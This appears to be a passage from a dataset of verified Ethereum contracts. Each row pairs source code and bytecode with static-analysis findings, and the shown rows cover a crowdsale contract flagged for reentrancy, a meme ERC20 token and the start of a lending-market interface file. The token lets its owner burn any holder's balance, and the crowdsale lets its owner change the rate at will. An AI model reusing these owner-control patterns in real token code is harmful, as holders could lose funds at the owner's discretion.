* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale() public {
maxTokens = 500000000;
maxEther = 10000 * 1 ether;
rate = 12908;
startICO =1523864288; // 04/16/2018 @ 7:38am (UTC)
wallet = 0xb382C19879d39E38B4fa77fE047FAdadE002fdAB;
token = createTokenContract();
}
function createTokenContract() internal returns (VEC) {
return new VEC();
}
function setRate(uint256 _rate) public onlyOwner{
rate = _rate;
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
function () external payable {
buyTokens(msg.sender);
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary) public payable {
require(now >= startICO);
require(msg.value <= maxEther);
require(allTokenICO <= maxTokens);
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
// update state
allTokenICO = allTokenICO.add(tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_forwardFunds();
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
/**
* @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal pure {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens.
* @param _beneficiary Address performing the token purchase
* @param _tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.mint(_beneficiary, _tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens.
* @param _beneficiary Address receiving the tokens
* @param _tokenAmount Number of tokens to be purchased
*/
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param _weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate).div(1 ether);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
|
0x6080604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461010057806306fdde0314610129578063095ea7b3146101b35780630d6f6f0b146101d757806318160ddd146101fe57806323b872dd14610213578063313ce5671461023d57806340c10f191461026b578063562e9df91461028f57806366188463146102c057806370a08231146102e45780637d64bcb4146103055780638da5cb5b1461031a57806395d89b411461032f578063a9059cbb14610344578063d73dd62314610368578063dd62ed3e1461038c578063f2fde38b146103b3575b600080fd5b34801561010c57600080fd5b506101156103d6565b604080519115158252519081900360200190f35b34801561013557600080fd5b5061013e6103f7565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610178578181015183820152602001610160565b50505050905090810190601f1680156101a55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101bf57600080fd5b50610115600160a060020a036004351660243561042e565b3480156101e357600080fd5b506101ec610498565b60408051918252519081900360200190f35b34801561020a57600080fd5b506101ec61049e565b34801561021f57600080fd5b50610115600160a060020a03600435811690602435166044356104a4565b34801561024957600080fd5b50610252610624565b6040805163ffffffff9092168252519081900360200190f35b34801561027757600080fd5b50610115600160a060020a0360043516602435610629565b34801561029b57600080fd5b506102a4610748565b60408051600160a060020a039092168252519081900360200190f35b3480156102cc57600080fd5b50610115600160a060020a0360043516602435610757565b3480156102f057600080fd5b506101ec600160a060020a0360043516610850565b34801561031157600080fd5b5061011561086b565b34801561032657600080fd5b506102a4610915565b34801561033b57600080fd5b5061013e610924565b34801561035057600080fd5b50610115600160a060020a036004351660243561095b565b34801561037457600080fd5b50610115600160a060020a0360043516602435610a54565b34801561039857600080fd5b506101ec600160a060020a0360043581169060243516610af6565b3480156103bf57600080fd5b506103d4600160a060020a0360043516610b21565b005b60035474010000000000000000000000000000000000000000900460ff1681565b60408051808201909152601881527f566572696669656420456d697373696f6e204372656469740000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60055481565b60015490565b6000600160a060020a03831615156104bb57600080fd5b600160a060020a0384166000908152602081905260409020548211156104e057600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561051357600080fd5b600160a060020a03841660009081526020819052604090205461053c908363ffffffff610bba16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610571908363ffffffff610bcc16565b600160a060020a03808516600090815260208181526040808320949094558783168252600281528382203390931682529190915220546105b7908363ffffffff610bba16565b600160a060020a038086166000818152600260209081526040808320338616845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b600081565b60035460009033600160a060020a0390811691161461064757600080fd5b60035474010000000000000000000000000000000000000000900460ff161561066f57600080fd5b600154610682908363ffffffff610bcc16565b600155600160a060020a0383166000908152602081905260409020546106ae908363ffffffff610bcc16565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b600454600160a060020a031681565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054808311156107b457600160a060020a0333811660009081526002602090815260408083209388168352929052908120556107eb565b6107c4818463ffffffff610bba16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529482529182902054825190815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60035460009033600160a060020a0390811691161461088957600080fd5b60035474010000000000000000000000000000000000000000900460ff16156108b157600080fd5b6003805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600354600160a060020a031681565b60408051808201909152600381527f5645430000000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a038316151561097257600080fd5b600160a060020a03331660009081526020819052604090205482111561099757600080fd5b600160a060020a0333166000908152602081905260409020546109c0908363ffffffff610bba16565b600160a060020a0333811660009081526020819052604080822093909355908516815220546109f5908363ffffffff610bcc16565b600160a060020a03808516600081815260208181526040918290209490945580518681529051919333909316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610a8c908363ffffffff610bcc16565b600160a060020a0333811660008181526002602090815260408083209489168084529482529182902085905581519485529051929391927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610b3c57600080fd5b600160a060020a0381161515610b5157600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610bc657fe5b50900390565b600082820183811015610bdb57fe5b93925050505600a165627a7a723058207f3962b1daee0ca66589026f223bdc36df3d7ea9edea3780ef328c36bc8b90460029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,713 |
0x91b650c3af0ecfa115f72d734e3a55f3735f5977
|
/**
*Submitted for verification at Etherscan.io on 2021-08-18
*/
pragma solidity ^0.6.10;
// SPDX-License-Identifier: UNLICENSED
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor () public {
_name = 'Shiba Inu Throwback';
_symbol = 'THROWBACK';
_decimals = 18;
}
/**
* @return the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view override returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public virtual override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public virtual override returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public virtual override returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _init(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: Token-contracts/ERC20.sol
contract ShibaInuThrowback is
ERC20,
Ownable {
constructor () public
ERC20 () {
_init(msg.sender,1000000000000000e18);
}
/**
* @dev Burns token balance in "account" and decrease totalsupply of token
* Can only be called by the current owner.
*/
function burn(address account, uint256 value) public onlyOwner {
_burn(account, value);
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d7146102d9578063a9059cbb14610305578063dd62ed3e14610331578063f2fde38b1461035f576100f5565b8063715018a6146102775780638da5cb5b1461028157806395d89b41146102a55780639dc29fac146102ad576100f5565b806323b872dd116100d357806323b872dd146101d1578063313ce56714610207578063395093511461022557806370a0823114610251576100f5565b806306fdde03146100fa578063095ea7b31461017757806318160ddd146101b7575b600080fd5b610102610385565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561013c578181015183820152602001610124565b50505050905090810190601f1680156101695780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561018d57600080fd5b506001600160a01b03813516906020013561041b565b604080519115158252519081900360200190f35b6101bf610497565b60408051918252519081900360200190f35b6101a3600480360360608110156101e757600080fd5b506001600160a01b0381358116916020810135909116906040013561049d565b61020f610560565b6040805160ff9092168252519081900360200190f35b6101a36004803603604081101561023b57600080fd5b506001600160a01b038135169060200135610569565b6101bf6004803603602081101561026757600080fd5b50356001600160a01b0316610611565b61027f61062c565b005b6102896106eb565b604080516001600160a01b039092168252519081900360200190f35b6101026106ff565b61027f600480360360408110156102c357600080fd5b506001600160a01b038135169060200135610760565b6101a3600480360360408110156102ef57600080fd5b506001600160a01b0381351690602001356107dd565b6101a36004803603604081101561031b57600080fd5b506001600160a01b038135169060200135610820565b6101bf6004803603604081101561034757600080fd5b506001600160a01b0381358116916020013516610836565b61027f6004803603602081101561037557600080fd5b50356001600160a01b0316610861565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104115780601f106103e657610100808354040283529160200191610411565b820191906000526020600020905b8154815290600101906020018083116103f457829003601f168201915b5050505050905090565b60006001600160a01b03831661043057600080fd5b3360008181526001602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b6001600160a01b03831660009081526001602090815260408083203384529091528120546104cb9083610995565b6001600160a01b03851660009081526001602090815260408083203384529091529020556104fa8484846109aa565b6001600160a01b0384166000818152600160209081526040808320338085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60055460ff1690565b60006001600160a01b03831661057e57600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546105ac908361097c565b3360008181526001602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b6001600160a01b031660009081526020819052604090205490565b610634610a69565b60055461010090046001600160a01b0390811691161461069b576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60055460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360058054610100600160a81b0319169055565b60055461010090046001600160a01b031690565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104115780601f106103e657610100808354040283529160200191610411565b610768610a69565b60055461010090046001600160a01b039081169116146107cf576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6107d98282610a6d565b5050565b60006001600160a01b0383166107f257600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546105ac9083610995565b600061082d3384846109aa565b50600192915050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610869610a69565b60055461010090046001600160a01b039081169116146108d0576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166109155760405162461bcd60e51b8152600401808060200182810382526026815260200180610b096026913960400191505060405180910390fd5b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60008282018381101561098e57600080fd5b9392505050565b6000828211156109a457600080fd5b50900390565b6001600160a01b0382166109bd57600080fd5b6001600160a01b0383166000908152602081905260409020546109e09082610995565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610a0f908261097c565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b3390565b6001600160a01b038216610a8057600080fd5b600254610a8d9082610995565b6002556001600160a01b038216600090815260208190526040902054610ab39082610995565b6001600160a01b038316600081815260208181526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a26469706673582212204c9dfe07aeb045e19de03f29a7df5d682e1ede72d1324651afa3659c2c00cbee64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 5,714 |
0x25567603eb61a4a49f27e433652b5b8940d10682
|
/**
*Submitted for verification at Etherscan.io on 2021-02-23
*/
pragma solidity 0.6.12;
interface marketManagerInterface {
function setOracleProxy(address oracleProxyAddr) external returns (bool);
function setBreakerTable(address _target, bool _status) external returns (bool);
function getCircuitBreaker() external view returns (bool);
function setCircuitBreaker(bool _emergency) external returns (bool);
function getTokenHandlerInfo(uint256 handlerID) external view returns (bool, address, string memory);
function handlerRegister(uint256 handlerID, address tokenHandlerAddr) external returns (bool);
function applyInterestHandlers(address payable userAddr, uint256 callerID, bool allFlag) external returns (uint256, uint256, uint256);
function liquidationApplyInterestHandlers(address payable userAddr, uint256 callerID) external returns (uint256, uint256, uint256, uint256, uint256);
function getTokenHandlerPrice(uint256 handlerID) external view returns (uint256);
function getTokenHandlerBorrowLimit(uint256 handlerID) external view returns (uint256);
function getTokenHandlerSupport(uint256 handlerID) external view returns (bool);
function getTokenHandlersLength() external view returns (uint256);
function setTokenHandlersLength(uint256 _tokenHandlerLength) external returns (bool);
function getTokenHandlerID(uint256 index) external view returns (uint256);
function getTokenHandlerMarginCallLimit(uint256 handlerID) external view returns (uint256);
function getUserIntraHandlerAssetWithInterest(address payable userAddr, uint256 handlerID) external view returns (uint256, uint256);
function getUserTotalIntraCreditAsset(address payable userAddr) external view returns (uint256, uint256);
function getUserLimitIntraAsset(address payable userAddr) external view returns (uint256, uint256);
function getUserCollateralizableAmount(address payable userAddr, uint256 handlerID) external view returns (uint256);
function getUserExtraLiquidityAmount(address payable userAddr, uint256 handlerID) external view returns (uint256);
function partialLiquidationUser(address payable delinquentBorrower, uint256 liquidateAmount, address payable liquidator, uint256 liquidateHandlerID, uint256 rewardHandlerID) external returns (uint256, uint256, uint256);
function getMaxLiquidationReward(address payable delinquentBorrower, uint256 liquidateHandlerID, uint256 liquidateAmount, uint256 rewardHandlerID, uint256 rewardRatio) external view returns (uint256);
function partialLiquidationUserReward(address payable delinquentBorrower, uint256 rewardAmount, address payable liquidator, uint256 handlerID) external returns (uint256);
function setLiquidationManager(address liquidationManagerAddr) external returns (bool);
function rewardClaimAll(address payable userAddr) external returns (bool);
function rewardTransfer(uint256 _claimAmountSum) external returns (bool);
function updateRewardParams(address payable userAddr) external returns (bool);
function interestUpdateReward() external returns (bool);
function getGlobalRewardInfo() external view returns (uint256, uint256, uint256);
}
interface interestModelInterface {
function getInterestAmount(address handlerDataStorageAddr, address payable userAddr, bool isView) external view returns (bool, uint256, uint256, bool, uint256, uint256);
function viewInterestAmount(address handlerDataStorageAddr, address payable userAddr) external view returns (bool, uint256, uint256, bool, uint256, uint256);
function getSIRandBIR(address handlerDataStorageAddr, uint256 depositTotalAmount, uint256 borrowTotalAmount) external view returns (uint256, uint256);
}
interface marketHandlerDataStorageInterface {
function setCircuitBreaker(bool _emergency) external returns (bool);
function setNewCustomer(address payable userAddr) external returns (bool);
function getUserAccessed(address payable userAddr) external view returns (bool);
function setUserAccessed(address payable userAddr, bool _accessed) external returns (bool);
function getReservedAddr() external view returns (address payable);
function setReservedAddr(address payable reservedAddress) external returns (bool);
function getReservedAmount() external view returns (int256);
function addReservedAmount(uint256 amount) external returns (int256);
function subReservedAmount(uint256 amount) external returns (int256);
function updateSignedReservedAmount(int256 amount) external returns (int256);
function setTokenHandler(address _marketHandlerAddr, address _interestModelAddr) external returns (bool);
function setCoinHandler(address _marketHandlerAddr, address _interestModelAddr) external returns (bool);
function getDepositTotalAmount() external view returns (uint256);
function addDepositTotalAmount(uint256 amount) external returns (uint256);
function subDepositTotalAmount(uint256 amount) external returns (uint256);
function getBorrowTotalAmount() external view returns (uint256);
function addBorrowTotalAmount(uint256 amount) external returns (uint256);
function subBorrowTotalAmount(uint256 amount) external returns (uint256);
function getUserIntraDepositAmount(address payable userAddr) external view returns (uint256);
function addUserIntraDepositAmount(address payable userAddr, uint256 amount) external returns (uint256);
function subUserIntraDepositAmount(address payable userAddr, uint256 amount) external returns (uint256);
function getUserIntraBorrowAmount(address payable userAddr) external view returns (uint256);
function addUserIntraBorrowAmount(address payable userAddr, uint256 amount) external returns (uint256);
function subUserIntraBorrowAmount(address payable userAddr, uint256 amount) external returns (uint256);
function addDepositAmount(address payable userAddr, uint256 amount) external returns (bool);
function addBorrowAmount(address payable userAddr, uint256 amount) external returns (bool);
function subDepositAmount(address payable userAddr, uint256 amount) external returns (bool);
function subBorrowAmount(address payable userAddr, uint256 amount) external returns (bool);
function getUserAmount(address payable userAddr) external view returns (uint256, uint256);
function getHandlerAmount() external view returns (uint256, uint256);
function getAmount(address payable userAddr) external view returns (uint256, uint256, uint256, uint256);
function setAmount(address payable userAddr, uint256 depositTotalAmount, uint256 borrowTotalAmount, uint256 depositAmount, uint256 borrowAmount) external returns (uint256);
function setBlocks(uint256 lastUpdatedBlock, uint256 inactiveActionDelta) external returns (bool);
function getLastUpdatedBlock() external view returns (uint256);
function setLastUpdatedBlock(uint256 _lastUpdatedBlock) external returns (bool);
function getInactiveActionDelta() external view returns (uint256);
function setInactiveActionDelta(uint256 inactiveActionDelta) external returns (bool);
function syncActionEXR() external returns (bool);
function getActionEXR() external view returns (uint256, uint256);
function setActionEXR(uint256 actionDepositExRate, uint256 actionBorrowExRate) external returns (bool);
function getGlobalDepositEXR() external view returns (uint256);
function getGlobalBorrowEXR() external view returns (uint256);
function setEXR(address payable userAddr, uint256 globalDepositEXR, uint256 globalBorrowEXR) external returns (bool);
function getUserEXR(address payable userAddr) external view returns (uint256, uint256);
function setUserEXR(address payable userAddr, uint256 depositEXR, uint256 borrowEXR) external returns (bool);
function getGlobalEXR() external view returns (uint256, uint256);
function getMarketHandlerAddr() external view returns (address);
function setMarketHandlerAddr(address marketHandlerAddr) external returns (bool);
function getInterestModelAddr() external view returns (address);
function setInterestModelAddr(address interestModelAddr) external returns (bool);
function getLimit() external view returns (uint256, uint256);
function getBorrowLimit() external view returns (uint256);
function getMarginCallLimit() external view returns (uint256);
function getMinimumInterestRate() external view returns (uint256);
function getLiquiditySensitivity() external view returns (uint256);
function setBorrowLimit(uint256 _borrowLimit) external returns (bool);
function setMarginCallLimit(uint256 _marginCallLimit) external returns (bool);
function setMinimumInterestRate(uint256 _minimumInterestRate) external returns (bool);
function setLiquiditySensitivity(uint256 _liquiditySensitivity) external returns (bool);
function getLimitOfAction() external view returns (uint256);
function setLimitOfAction(uint256 limitOfAction) external returns (bool);
function getLiquidityLimit() external view returns (uint256);
function setLiquidityLimit(uint256 liquidityLimit) external returns (bool);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external ;
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external view returns (bool);
function transferFrom(address from, address to, uint256 value) external ;
}
interface marketSIHandlerDataStorageInterface {
